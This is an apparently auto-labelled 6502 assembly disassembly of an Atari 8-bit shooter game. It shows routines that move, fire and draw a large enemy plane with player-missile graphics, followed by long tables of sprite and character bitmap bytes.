.byte $29, $A9, $90, $80, $00, $00, $00, $00
.byte $00, $20, $5C, $3A, $35, $CB, $87, $46
L_2FBC .byte $29, $10, $08, $00, $00, $00, $10, $10
.byte $10, $10, $10, $10, $10, $10, $10, $10
.byte $10, $10, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $10, $00
.byte $00, $00, $00, $00, $00, $00, $08, $10
.byte $29, $46, $87, $CB, $35, $3A, $5C, $20
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_2FFC .byte $00, $00, $00, $00, $00, $00, $00, $00
L_3004 .byte $00, $00, $00, $00, $00, $00, $00, $00
L_300C .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_30BC .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_31E4 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00
MISSILE_GFX lda ENEMY_MOV_TYPE
bne L_3345
sta $06D3 ; intialize big plane
sta $06D4
sta $06D8
sta $0625
lda #$28
sta ENEMY_Y
sta $06D0
lda #$D0 ; set big plane intial position
sta ENEMY_X
sta HPOSP2
clc
adc #$1E
sta HPOSP3
lda #$00
sta $06AC
lda #$90
sta PCOLR3
sta PCOLR2
lda #$03 ; set quadruple size players
sta SIZEP2
sta SIZEP3
lda #$0F
sta L_542E+1
inc ENEMY_MOV_TYPE
rts
L_3345 jsr L_B550
lda $06D0
beq L_33B2
lda $06D8
bne L_3383
lda BIGPLANE_FIRE_TYPE
bne BIGPLANE_NARROW
BIGPLANE_WIDE lda ENEMY_X ; big plane fire wide
clc
adc #$14
sta HPOSM0
adc #$14
sta HPOSM1
cmp #$00
bne L_3377
BIGPLANE_NARROW lda ENEMY_X ; big plane fire narrow
clc
adc #$1A
sta HPOSM0
adc #$07
sta HPOSM1
L_3377 lda ENEMY_Y
clc
adc #$1E
sta ENEMY_BULLET_Y
inc $06D8
L_3383 ldx #$00
ldy ENEMY_BULLET_Y
BP_MISSILE_DEL lda MISSILE_GFX,y
and #$FA
sta MISSILE_GFX,y
iny
inx
cpx #$03
bne BP_MISSILE_DEL
cpy #$B0
bcc L_33A1
lda #$00
sta $06D8
beq L_33B2
L_33A1 sty ENEMY_BULLET_Y
BP_MISSILE_ADD lda MISSILE_GFX,y
ora #$05
sta MISSILE_GFX,y
iny
inx
cpx #$06
bne BP_MISSILE_ADD
L_33B2 lda $06D0
beq L_33FC
inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$03
bcc L_33FC
lda #$00
sta ENEMY_MOV_TYPE+1
lda BIGPLANE_FIRE_TYPE
beq L_33D4
lda #$00
sta BIGPLANE_FIRE_TYPE
cmp #$00
beq L_33D7
L_33D4 inc BIGPLANE_FIRE_TYPE
L_33D7 lda ENEMY_X
clc
adc #$1C
cmp PLANE_X
beq L_33F0
bcc L_33ED
dec ENEMY_X
lda #$00
cmp #$00
beq L_33F0
L_33ED inc ENEMY_X
L_33F0 lda ENEMY_X ; set big plane X position
sta HPOSP2
clc
adc #$1E
sta HPOSP3
L_33FC ldx #$00
L_33FE ldy ENEMY_Y
L_3401 lda $06D0
bne L_345A
L_3406 inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
L_340C cmp #$06
bcs L_3411
rts
L_3411 stx ENEMY_MOV_TYPE+1
inc $06D1
L_3417 lda $06D1
cmp #$10
bcs L_3421
jmp L_B424
L_3421 cmp #$18
bcs L_3438
L_3425 lda L_B50D+6,x
sta PMGFX0+3,y
L_342B lda L_B52D+3,x
sta PMGFX1,y
iny
inx
cpx #$1D
L_3435 bne L_3425
L_3437 rts
L_3438 txa
L_3439 sta PMGFX0+3,y
sta PMGFX1,y
iny
inx
cpx #$1D
bne L_3439
sta ENEMY_MOV_TYPE
sta AUDC4
sta ENEMY_TYPE
lda #$11
sta L_542E+1
jsr L_67E6
jsr L_67E6
rts
L_345A lda M0PL
and #$0C
bne L_3468
lda M3PL
and #$0C
beq L_34C0
L_3468 ldy ENEMY_MOV_TYPE+3
ldx #$00
L_346D lda MISSILE_GFX,y
L_3470 and #$AF
sta MISSILE_GFX,y
dey
inx
cpx #$0C
bne L_346D
lda #$00
L_347D sta ENEMY_MOV_TYPE+5
sta ENEMY_MOV_TYPE+6
L_3483 inc $06AC
lda $06AC
cmp #$50
bcc L_34A9
lda #$00
L_348F sta $06D0
sta $06D1
ldx #$00
ldy ENEMY_BULLET_Y
L_349A lda MISSILE_GFX,y
and #$FA
sta MISSILE_GFX,y
iny
inx
L_34A4 cpx #$03
bne L_349A
rts
L_34A9 jsr L_67B8
L_34AC lda $06D3
bne L_34B8
inc $06D3
lda #$00
beq L_34C0
L_34B8 lda $06D4
bne L_34C0
L_34BD inc $06D4
L_34C0 lda ENEMY_MOV_TYPE+1
bne L_34F0
lda ENEMY_MOV_TYPE
cmp #$01
bne BP_CHECK_Y_UP
BP_CHECK_Y_DOWN lda ENEMY_Y
cmp #$68 ; check big plane bottom Y
bcc L_34D9
lda #$02
sta ENEMY_MOV_TYPE
rts
L_34D9 inc ENEMY_Y
lda #$00
beq L_34F0
BP_CHECK_Y_UP lda ENEMY_Y
cmp #$28 ; check big plane top Y
bcs L_34ED
L_34E7 lda #$01
L_34E9 sta ENEMY_MOV_TYPE
rts
L_34ED dec ENEMY_Y
L_34F0 ldx #$00
ldy ENEMY_Y
lda BIGPLANE_FIRE_TYPE
bne BP_GFX_2_DRAW
BP_GFX_1_DRAW lda BIG_PLANE_GFX1C,x
sta PMGFX0+3,y
L_3500 lda BIG_PLANE_GFX2C+5,x
sta PMGFX1,y
iny
inx
cpx #$1D
bne BP_GFX_1_DRAW
L_350C rts
BP_GFX_2_DRAW lda BIG_PLANE_GFX3C+2,x
sta PMGFX0+3,y
lda BIG_PLANE_GFX4C+7,x
sta PMGFX1,y
iny
inx
L_351B cpx #$1D
bne BP_GFX_2_DRAW
rts
nop
nop
nop
nop
stx ENEMY_MOV_TYPE+1
lda #$0F
sta AUDC4
lda $06D1
sta AUDF4
L_3532 lda $06D2
bne L_354D
L_3537 lda L_B4D5+4,x
sta PMGFX0+3,y
lda L_B4F5+1,x
sta PMGFX1,y
iny
inx
cpx #$1D
bne L_3537
inc $06D2
rts
L_354D lda BIG_PLANE_GFX1C,x
sta PMGFX0+3,y
lda BIG_PLANE_GFX2C+5,x
sta PMGFX1,y
iny
inx
cpx #$1D
bne L_354D
lda #$00
sta $06D2
rts
BIG_PLANE_GFX1 .byte $00, $0F, $1F, $1F, $1F, $0E, $01, $01
L_356D .byte $01, $01, $01, $01, $13, $7F, $FF, $FF
.byte $EE, $FE, $EF, $7F, $32, $03, $62, $03
.byte $01, $01, $00, $06, $00, $00, $F0, $F8
.byte $F8, $F8, $70, $80, $80, $80, $80, $80
BIG_PLANE_GFX2 .byte $80, $C8, $FE, $FF, $FF, $77, $7F, $F7
.byte $FE, $4C, $C0, $46, $C0, $80, $80, $00
.byte $60, $00, $00, $0F, $1F, $1F, $1F, $0E
L_35A5 .byte $01, $01, $01, $01, $01, $01, $13, $7F
L_35AD .byte $FF, $FF, $EE, $FE, $EF, $7F, $32, $03
.byte $1A, $03, $01, $01, $00, $01, $00, $00
.byte $F0, $F8, $F8, $F8, $70, $80, $80, $80
.byte $80, $80, $80, $C8, $FE, $FF, $FF, $77
.byte $7F, $F7, $FE, $4C, $C0, $58, $C0, $80
.byte $80, $00, $80, $00, $00, $0F, $10, $10
.byte $10, $0E, $01, $01, $01, $01, $01, $01
.byte $02, $7F, $80, $80, $80, $80, $80, $7F
.byte $02, $02, $02, $02, $01, $01, $00, $00
.byte $00, $00, $F0, $08, $08, $08, $70, $80
PMGFX0 .byte $80, $80, $80, $80, $80, $40, $FE, $01
L_3605 .byte $01, $01, $01, $01, $FE, $40, $40, $40
.byte $40, $80, $80, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $44, $AA, $AA, $2A, $4A, $8A
L_3625 .byte $8A, $AA, $E4, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $44
.byte $AA, $AA, $AA, $AA, $AA, $AA, $AA, $44
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00
lda $06D7
beq L_365C
lda #$00
sta $06D7
beq L_365F
L_365C inc $06D7
L_365F lda $06D3
beq L_36C1
cmp #$01
bne L_3680
lda #$ED
sta PCOLR0
lda PLANE_X
sec
sbc #$01
sta BIGPLANE_FIRE_TYPE+1
inc $06D3
lda #$00
sta $06D5
beq L_36C1
L_3680 ldx #$00
lda ENEMY_Y
clc
adc #$10
tay
inc $06D5
lda $06D5
cmp #$04
bcc L_36A2
txa
L_3694 sta L_33FE+2,y
iny
inx
cpx #$08
bne L_3694
sta $06D3
beq L_36C1
L_36A2 lda $06D7
bne L_36B5
L_36A7 lda L_B620,x
sta L_33FE+2,y
iny
inx
cpx #$08
bne L_36A7
beq L_36C1
L_36B5 lda L_B628,x
sta L_33FE+2,y
iny
inx
cpx #$08
bne L_36B5
L_36C1 lda $06D4
bne L_36C7
rts
L_36C7 cmp #$01
bne L_36E0
sta $06D6
lda #$ED
sta PCOLR1
lda PLANE_X
clc
adc #$0A
sta BIGPLANE_FIRE_TYPE+2
inc $06D4
rts
L_36E0 ldx #$00
lda ENEMY_Y
clc
adc #$10
tay
inc $06D6
lda $06D6
cmp #$05
bcc L_3701
txa
L_36F4 sta L_3500,y
iny
inx
cpx #$08
bne L_36F4
L_36FD sta $06D4
PMGFX1 rts
L_3701 lda $06D7
bne L_3713
L_3706 lda L_B620,x
sta L_3500,y
L_370C iny
inx
cpx #$08
bne L_3706
rts
L_3713 lda L_B628,x
sta L_3500,y
iny
inx
cpx #$08
bne L_3713
rts
L_3720 .byte $00, $00, $0E, $1B, $1F, $1B, $0E, $00
.byte $00, $10, $44, $82, $82, $44, $10, $00
.byte $00, $77, $60, $74, $74, $60, $60, $60
.byte $28, $44, $44, $40, $4C, $44, $44, $28
.byte $44, $44, $44, $6C, $6C, $44, $44, $44
.byte $7C, $54, $10, $10, $10, $10, $54, $7C
.byte $63, $63, $36, $14, $14, $36, $63, $63
.byte $63, $63, $76, $70, $76, $63, $63, $63
.byte $60, $60, $60, $60, $60, $63, $77, $77
.byte $77, $6B, $6B, $6B, $6B, $63, $63, $63
.byte $36, $77, $63, $63, $63, $63, $63, $63
.byte $36, $77, $63, $63, $63, $63, $77, $36
L_3780 .byte $68, $44, $44, $44, $68, $40, $40, $40
.byte $36, $77, $63, $63, $63, $67, $77, $37
.byte $68, $44, $44, $44, $68, $68, $48, $44
.byte $37, $77, $60, $76, $37, $03, $77, $76
.byte $77, $77, $55, $14, $14, $14, $14, $14
.byte $44, $44, $44, $44, $44, $44, $44, $28
.byte $63, $63, $63, $63, $63, $36, $36, $1C
.byte $63, $63, $63, $6B, $6B, $6B, $6B, $77
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $63, $63, $63, $36, $36, $1C, $1C, $1C
lda ENEMY_TYPE
bne L_37D6
rts
L_37D6 .byte $20, $50, $49, $20, $03, $49, $AD, $16
.byte $06, $D0, $09, $20, $CE, $55, $20, $B7
.byte $55, $20, $B7, $55, $20, $60, $57, $AD
.byte $0B, $D4, $C9, $58, $90, $F9, $A2, $26
.byte $BD, $08, $9D, $9D, $09, $9D, $BD, $30
L_37FE .byte $9D, $9D, $00, $00, $00, $00, $00, $00
.byte $00, $00, $9A, $9A, $9A, $9A, $9A, $9A
.byte $9A, $9A, $9A, $9A, $9A, $55, $55, $9A
.byte $9A, $9A, $AA, $AA, $AA, $55, $55, $AA
.byte $AA, $AA, $A0, $A3, $A0, $A8, $A8, $AC
.byte $A8, $A8, $8A, $8A, $8A, $0A, $8A, $AA
.byte $AA, $AA, $63, $63, $06, $0C, $18, $30
.byte $63, $63, $00, $00, $00, $08, $08, $00
.byte $00, $00, $FF, $FF, $FE, $F8, $E2, $E2
.byte $EA, $0A, $AA, $EA, $EA, $FA, $FA, $0E
.byte $C3, $C3, $AA, $EA, $EA, $FA, $FA, $FE
.byte $FF, $FF, $AA, $EA, $FA, $FE, $FE, $FA
.byte $EA, $EA, $AA, $AA, $AA, $AA, $AA, $AA
.byte $AA, $AA, $AA, $AA, $AA, $AA, $AA, $AA
.byte $AA, $AE, $FF, $FF, $FF, $FF, $FF, $FF
.byte $FF, $FF, $55, $6A, $6A, $6A, $6A, $6A
.byte $6A, $6A, $55, $A9, $A9, $A9, $A9, $A9
.byte $A9, $A9, $6A, $6A, $6A, $6A, $6A, $6A
.byte $6A, $55, $A9, $A9, $A9, $A9, $A9, $A9
.byte $A9, $55, $3C, $FE, $E3, $03, $8B, $23
.byte $03, $8A, $FA, $FA, $FA, $BE, $BE, $BF
.byte $AF, $FB, $BF, $EF, $FF, $FF, $AF, $AF
.byte $FB, $FE, $FE, $FE, $FE, $FB, $BF, $EF
.byte $FB, $FF, $FF, $FF, $FF, $BF, $BA, $EE
.byte $9A, $57, $FE, $FE, $FE, $FA, $BE, $EE
.byte $FA, $EA, $FA, $FE, $FE, $FA, $BF, $EF
.byte $FB, $FF, $AA, $AA, $AA, $AE, $BE, $BF
.byte $AF, $BB, $BF, $EF, $FF, $FF, $AF, $AF
.byte $BB, $AE, $FA, $FA, $EA, $EA, $AA, $FA
.byte $FA, $EA, $EA, $AA, $FA, $FA, $86, $86
L_38EE .byte $FA, $FE, $2A, $95, $9A, $9A, $9A, $9A
.byte $9A, $9A, $AA, $A5, $95, $9A, $9A, $9A
.byte $9A, $A5, $AA, $6A, $5A, $9A, $9A, $9A
.byte $9A, $6A, $FF, $57, $A7, $A7, $A7, $A7
.byte $A7, $A7, $99, $99, $99, $9A, $9A, $9A
.byte $99, $99, $A9, $A9, $A9, $A9, $AA, $AA
.byte $A9, $A9, $A7, $A7, $A7, $AB, $AB, $AB
L_3926 .byte $A7, $A7, $AB, $AF, $B5, $F5, $D7, $DF
.byte $DF, $DF, $EA, $FA, $5E, $5F, $D7, $F7
.byte $F7, $F7, $DF, $DF, $DF, $DF, $DF, $DF
.byte $DF, $DF, $F7, $F7, $F7, $F7, $F7, $F7
.byte $F7, $F7, $DF, $DF, $DF, $D7, $F5, $B5
.byte $AF, $AB, $F7, $F7, $F7, $D7, $5F, $5E
.byte $FA, $EA, $E2, $C8, $F0, $BE, $BC, $AC
.byte $AF, $AB, $AB, $AF, $AE, $BC, $BE, $F8
.byte $E2, $C8, $A5, $9A, $9A, $9A, $9A, $95
.byte $A5, $AA, $6A, $9A, $9A, $9A, $9A, $5A
L_3976 .byte $6A, $AA, $AA, $55, $AA, $AA, $AA, $AA
.byte $AA, $AA, $AA, $95, $9A, $99, $99, $99
.byte $9A, $9A, $AA, $56, $A6, $A6, $A6, $A6
.byte $A6, $A6, $9A, $9A, $99, $99, $99, $9A
.byte $95, $AA, $89, $25, $FF, $85, $FF, $85
.byte $21, $88, $9A, $9A, $9A, $9A, $9A, $9A
.byte $95, $AA, $AA, $AA, $AA, $AA, $AA, $AA
L_39AE .byte $55, $AA, $A7, $A7, $A7, $A7, $A7, $A7
.byte $57, $BF, $62, $58, $FF, $50, $FF, $58
.byte $62, $08, $CE, $CC, $DC, $56, $54, $54
.byte $58, $62, $02, $00, $00, $00, $00, $20
.byte $00, $00, $00, $00, $80, $00, $00, $00
.byte $02, $00, $AA, $AA, $AA, $AA, $A8, $A8
.byte $AC, $A8, $AA, $AA, $AA, $AA, $AA, $AA
.byte $8A, $0A, $A2, $A2, $A2, $A0, $A2, $AA
.byte $AA, $AA, $02, $32, $02, $2A, $2A, $3A
.byte $2A, $2A, $AA, $AA, $AA, $AA, $AA, $AA
.byte $A2, $A0, $AA, $AA, $AA, $AA, $2A, $2A
.byte $3A, $2A, $AA, $AA, $AA, $AA, $AB, $AF
.byte $AF, $AB, $A8, $A8, $A8, $A8, $A8, $E8
.byte $E8, $A8, $03, $0E, $0E, $3A, $3A, $EA
.byte $EA, $C0, $AA, $AA, $AA, $AA, $AA, $AA
.byte $AA, $00, $C0, $B0, $B0, $AC, $AC, $AB
.byte $AB, $03, $03, $0E, $0E, $3A, $3A, $EA
.byte $EA, $EA, $FF, $AA, $AA, $AA, $AA, $AA
.byte $AA, $AA, $C0, $B0, $B0, $AC, $AC, $AB
.byte $AB, $AB, $85, $15, $56, $5A, $9A, $1A
.byte $5A, $6A, $61, $96, $AA, $AA, $AA, $AA
.byte $AA, $AA, $62, $98, $A4, $A6, $90, $98
.byte $A6, $A4, $A9, $A9, $A6, $A4, $A6, $A9
.byte $A9, $A6, $96, $4A, $4A, $16, $96, $16
.byte $5A, $5A, $6A, $5A, $9A, $1A, $4A, $46
L_3A76 .byte $15, $85, $AA, $AA, $AA, $AA, $AA, $AA
.byte $96, $41, $A6, $A4, $98, $92, $A4, $A4
.byte $C0, $62, $FF, $AB, $AB, $AB, $AB, $AB
.byte $AB, $AB, $89, $25, $85, $14, $91, $55
.byte $14, $45, $45, $54, $45, $51, $45, $51
.byte $15, $51, $62, $58, $52, $14, $44, $55
.byte $14, $51, $A0, $3A
ldx #$95
lda #$02
jsr L_38EE+2
lda #$15
sta MVLNG+1
ldy #$8A
ldx #$1D
lda #$7C
jsr L_39AE
lda #$02
jsr L_3926+1
rts
asl RTCLOK+2
jmp L_3AC9
L_3AC9 jmp L_3AD6
.byte $09, $44, $3A, $44, $55, $50, $2E, $53
.byte $59, $53
L_3AD6 lda #$04
sta MVLNG+1
lda #$00
sta ECSIZE
ldy #$3A
ldx #$CC
lda #$01
jsr L_38EE+2
lda #$01
jsr L_3A76+2
lda TSLNUM
cmp #$80
bcs L_3AF5
jmp L_3AFB
L_3AF5 lda #$01
jsr L_3926+1
rts
L_3AFB lda #$FF
sta MVLNG+1
ldy #$FF
ldx L_37FE+3
lda L_37FE+2
jsr L_227C+4
.byte $00, $28, $02, $00, $08, $02, $02, $00
.byte $02, $08, $20, $02, $88, $22, $01, $02
.byte $08, $00, $02, $28, $82, $00, $FB, $FE
.byte $BE, $BE, $EE, $E8, $A0, $80, $FF, $FB
.byte $EA, $A2, $80, $00, $00, $00, $AF, $FE
.byte $EA, $8A, $02, $00, $00, $00, $FB, $BE
.byte $BF, $AF, $2B, $0A, $02, $02, $80, $A0
.byte $A8, $AA, $AA, $AB, $BF, $EE, $00, $00
.byte $00, $80, $A2, $AA, $AF, $BB, $00, $00
.byte $00, $02, $8A, $AB, $BF, $EE, $02, $02
.byte $0A, $2B, $BB, $AE, $BF, $EB, $FF, $FE
.byte $F8, $E0, $E2, $C0, $A8, $80, $FF, $38
.byte $00, $80, $22, $00, $28, $00, $EF, $BE
.byte $28, $20, $02, $00, $28, $00, $BF, $2F
.byte $0B, $0A, $23, $02, $0B, $02, $80, $E0
.byte $F8, $F2, $C0, $C8, $A2, $80, $03, $0E
.byte $3E, $8F, $03, $22, $88, $00, $80, $A8
.byte $80, $A2, $A0, $A8, $AA, $AA, $00, $28
.byte $00, $22, $80, $00, $3C, $FB, $00, $28
.byte $00, $02, $20, $38, $AF, $FE, $03, $0A
.byte $03, $22, $0B, $0B, $2F, $FF, $80, $A0
.byte $E8, $E8, $B8, $B8, $A0, $80, $02, $0A
.byte $2E, $3B, $2B, $2A, $0A, $02, $20, $20
.byte $20, $20, $20, $20, $20, $A0, $F0, $EC
.byte $E5, $E1, $F3, $E5, $A0, $F7, $E1, $E9
.byte $F4, $A2, $3B, $A9, $B5, $20, $2D, $39
.byte $AD, $0A, $07, $09, $80, $8D, $0A, $07
.byte $20, $E0, $07, $A9, $00, $85, $A3, $A9
.byte $00, $85, $A4, $4C, $F4, $3B, $03, $44
.byte $38, $3A, $A9, $3B, $85, $A6, $A9, $F0
L_3BFA .byte $85, $A5, $A0, $FE, $A2, $00, $00, $00
.byte $18, $66, $FF, $5A, $24, $24, $24, $24
L_3C0A .byte $66, $3C, $00, $00, $00, $18, $66, $FF
.byte $5A, $24, $24, $24, $24, $66, $3C, $00
L_3C1A .byte $00, $00, $1A, $2F, $7F, $36, $14, $14
L_3C22 .byte $14, $1E, $2E, $1C, $00, $00, $00, $1A
.byte $2F, $7F, $36, $14, $14, $14, $1E, $2E
L_3C32 .byte $1C, $00, $00, $00, $58, $F4, $FE, $6C
L_3C3A .byte $28, $28, $28, $78, $74, $38, $00, $00
.byte $00, $58, $F4, $FE, $6C, $28, $28, $28
L_3C4A .byte $78, $74, $38, $00, $00, $00, $00, $7E
.byte $DB, $24, $24, $24, $3C, $7E, $3C, $00
L_3C5A .byte $00, $00, $00, $00, $00, $DB, $24, $3C
L_3C62 .byte $7E, $3C, $00, $00, $00, $00, $00, $00
.byte $00, $00, $7E, $FF, $7E, $00, $00, $00
L_3C72 .byte $00, $00, $00, $00, $00, $00, $00, $3C
.byte $7E, $3C, $24, $DB, $3C, $00, $00, $00
L_3C82 .byte $00, $00, $00, $00, $00, $18, $3C, $24
L_3C8A .byte $5A, $3C, $18, $00, $00, $00, $00, $00
.byte $00, $00, $00, $18, $66, $FF, $5A, $00
L_3C9A .byte $00, $00, $00, $00, $00, $00, $00, $99
L_3CA2 .byte $66, $FF, $5A, $24, $24, $3C, $00, $00
.byte $00, $42, $18, $00, $24, $00, $00, $00
L_3CB2 .byte $00, $18, $00, $00, $00, $00, $81, $18
.byte $00, $24, $00, $00, $00, $00, $18, $00
L_3CC2 .byte $00, $00, $01, $40, $10, $00, $08, $00
L_3CCA .byte $00, $00, $00, $10, $00, $00, $00, $02
.byte $20, $10, $00, $08, $00, $00, $00, $00
L_3CDA .byte $10, $00, $00, $00, $80, $02, $08, $00
.byte $10, $00, $00, $00, $00, $08, $00, $00
L_3CEA .byte $00, $40, $04, $08, $00, $10, $00, $00
L_3CF2 .byte $00, $00, $08, $00, $00, $00, $3C, $24
.byte $18, $18, $18, $7E, $BD, $66, $18, $18
L_3D02 .byte $00, $00, $00, $3C, $24, $18, $18, $18
L_3D0A .byte $7E, $BD, $66, $18, $18, $00, $00, $00
.byte $00, $18, $00, $00, $00, $00, $5A, $18
L_3D1A .byte $00, $00, $00, $0C, $00, $00, $18, $00
.byte $00, $00, $00, $5A, $18, $00, $00, $00
L_3D2A .byte $30, $00, $7E, $FF, $7E, $00, $00, $00
.byte $18, $18, $66, $BD, $7E, $18, $18, $18
L_3D3A .byte $24, $3C, $00, $00, $00, $18, $18, $66
.byte $BD, $7E, $18, $18, $18, $24, $3C, $00
L_3D4A .byte $0C, $00, $00, $00, $18, $5A, $00, $00
L_3D52 .byte $00, $00, $18, $00, $00, $30, $00, $00
.byte $00, $18, $5A, $00, $00, $00, $00, $18
L_3D62 .byte $00, $00, $00, $30, $58, $30, $30, $3C
.byte $76, $D6, $5E, $3C, $30, $00, $00, $46
L_3D72 .byte $00, $0C, $1A, $0C, $0C, $3C, $6E, $6B
L_3D7A .byte $7A, $3C, $0C, $00, $00, $54, $00, $00
.byte $20, $00, $00, $00, $08, $2C, $28, $00
L_3D8A .byte $00, $00, $18, $00, $00, $20, $00, $00
.byte $00, $08, $2C, $28, $00, $00, $00, $60
L_3D9A .byte $00, $00, $04, $00, $00, $00, $10, $34
L_3DA2 .byte $14, $00, $00, $00, $18, $29, $00, $00
.byte $04, $00, $00, $00, $10, $34, $14, $00
L_3DB2 .byte $00, $00, $06, $30, $30, $B0, $B8, $64
.byte $64, $B8, $B0, $30, $30, $00, $00, $00
L_3DC2 .byte $00, $00, $00, $98, $99, $01, $01, $00
L_3DCA .byte $00, $00, $00, $00, $00, $00, $00, $01
.byte $99, $99, $00, $00, $00, $00, $00, $00
L_3DDA .byte $00, $00, $22, $47, $BE, $EC, $24, $34
L_3DE2 .byte $78, $E0, $C0, $00, $00, $00, $00, $00
.byte $40, $40, $10, $18, $09, $02, $00, $00
L_3DF2 .byte $00, $00, $00, $00, $44, $E2, $7D, $37
.byte $24, $2C, $1E, $07, $03, $00, $00, $00
L_3E02 .byte $00, $00, $02, $02, $08, $18, $90, $40
L_3E0A .byte $00, $00, $00, $00, $00, $00, $0C, $0C
.byte $0D, $1D, $26, $26, $1D, $0D, $0C, $0C
L_3E1A .byte $00, $00, $00, $00, $00, $00, $19, $99
L_3E22 .byte $80, $80, $00, $00, $00, $00, $00, $00
L_3E2A .byte $00, $00, $80, $99, $99, $00, $00, $00
L_3E32 .byte $00, $00, $00, $00, $00, $00, $03, $07
.byte $1E, $2C, $24, $37, $7D, $E2, $44, $00
L_3E42 .byte $00, $00, $00, $00, $40, $90, $18, $08
.byte $02, $02, $00, $00, $00, $00, $00, $1A
.byte $B1, $18, $85, $1B, $A0, $01, $B1, $1A
.byte $AA, $88, $B1, $1A, $20, $B0, $31, $20
L_3E62 .byte $B6, $31, $00, $38, $7C, $BA, $BA, $57
L_3E6A .byte $EF, $56, $BB, $BB, $7E, $3C, $00, $00
